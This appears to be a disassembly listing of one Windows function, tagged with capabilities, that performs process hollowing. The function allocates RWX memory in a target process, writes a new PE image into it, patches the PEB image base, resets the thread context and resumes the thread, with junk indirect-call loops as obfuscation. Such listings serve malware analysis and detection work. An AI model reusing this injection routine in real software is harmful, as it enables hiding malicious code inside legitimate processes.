Function at 0x180002580
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x550
mov rax, qword [0x18003f080]
xor rax, rsp
mov qword [rsp + 0x540], rax
lea rax, [0x180001f30]
mov edi, 8
mov qword [rsp + 0x30], rax
mov r13, rdx
lea rax, [0x180001f60]
mov r12, rcx
mov qword [rsp + 0x38], rax
mov ebx, edi
lea rax, [0x180001f90]
mov qword [rsp + 0x40], rax
lea rax, [0x180001fc0]
mov qword [rsp + 0x48], rax
lea rax, [0x180001ff0]
mov qword [rsp + 0x50], rax
lea rax, [0x180002020]
mov qword [rsp + 0x58], rax
lea rax, [0x180002050]
mov qword [rsp + 0x60], rax
lea rax, [0x180002080]
mov qword [rsp + 0x68], rax
call fcn.1800124ac
and eax, 0x80000007
jge 0x180002625
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x180002612
movsxd rsi, dword [r13 + 0x3c]
mov rbx, rdi
add rsi, r13
nop dword [rax + rax]
call fcn.1800124ac
and eax, 0x80000007
jge 0x180002653
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x180002640
mov rdx, qword [rsi + 0x30]
lea r14, [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rcx, qword [r12]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x18000269e
lea rcx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
call fcn.180001240
xor eax, eax
jmp 0x1800028ef
mov rdx, r15
lea rcx, str.___Memory_allocate_at_:_0x_p_n
call fcn.180001240
mov rbx, rdi
call fcn.1800124ac
and eax, 0x80000007
jge 0x1800026c3
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x1800026b0
mov r9d, dword [rsi + 0x54]
xor eax, eax
mov rcx, qword [r12]
mov r8, r13
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002701
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
call fcn.180001240
xor eax, eax
jmp 0x1800028ef
mov rdx, qword [r14]
lea rcx, str.___Headers_write_at_:_0x_p_n
mov qword [rsp + 0x5a0], rbp
call fcn.180001240
mov rbx, rdi
nop dword [rax + rax]
call fcn.1800124ac
and eax, 0x80000007
jge 0x180002733
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x180002720
xor ecx, ecx
mov ebp, ecx
cmp cx, word [rsi + 6]
jae 0x1800027b0
mov r14d, ecx
nop dword [rax]
movzx ebx, word [rsi + 0x14]
mov qword [rsp + 0x20], rcx
add rbx, r14
mov rcx, qword [r12]
add rbx, rsi
mov r8d, dword [rbx + 0x2c]
mov edx, dword [rbx + 0x24]
add r8, r13
mov r9d, dword [rbx + 0x28]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [rbx + 0x18]
test eax, eax
je 0x180002816
mov r8d, dword [rbx + 0x24]
lea rcx, str.___Section__s_write_at_:_0x_p._n
add r8, r15
call fcn.180001240
movzx eax, word [rsi + 6]
inc ebp
add r14, 0x28
mov ecx, 0
cmp ebp, eax
jl 0x180002750
lea r14, [rsi + 0x30]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x4d0
call fcn.18002c100
mov dword [rsp + 0xa0], 0x10000b
mov rbx, rdi
call fcn.1800124ac
and eax, 0x80000007
jge 0x1800027e3
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x1800027d0
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x180002829
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
call fcn.180001240
xor eax, eax
jmp 0x1800028e7
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
call fcn.180001240
xor eax, eax
jmp 0x1800028e7
mov rdx, qword [rsp + 0xf8]
xor eax, eax
mov rcx, qword [r12]
add rdx, 0x10
mov r9, rdi
mov qword [rsp + 0x20], rax
mov r8, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002863
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
call fcn.180001240
xor eax, eax
jmp 0x1800028e7
mov eax, dword [rsi + 0x28]
mov rbx, rdi
add rax, r15
mov qword [rsp + 0xf0], rax
call fcn.1800124ac
and eax, 0x80000007
jge 0x180002887
dec eax
or eax, 0xfffffff8
inc eax
cdqe
call qword [rsp + rax*8 + 0x30]
sub rbx, 1
jne 0x180002874
call fcn.1800124ac
and eax, 0x80000007
jge 0x1800028a6
dec eax
or eax, 0xfffffff8
inc eax
movsxd rcx, eax
call qword [rsp + rcx*8 + 0x30]
sub rdi, 1
jne 0x180002893
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1800028d7
lea rcx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
call fcn.180001240
xor eax, eax
jmp 0x1800028e7
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rbp, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.180008e00
add rsp, 0x550
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret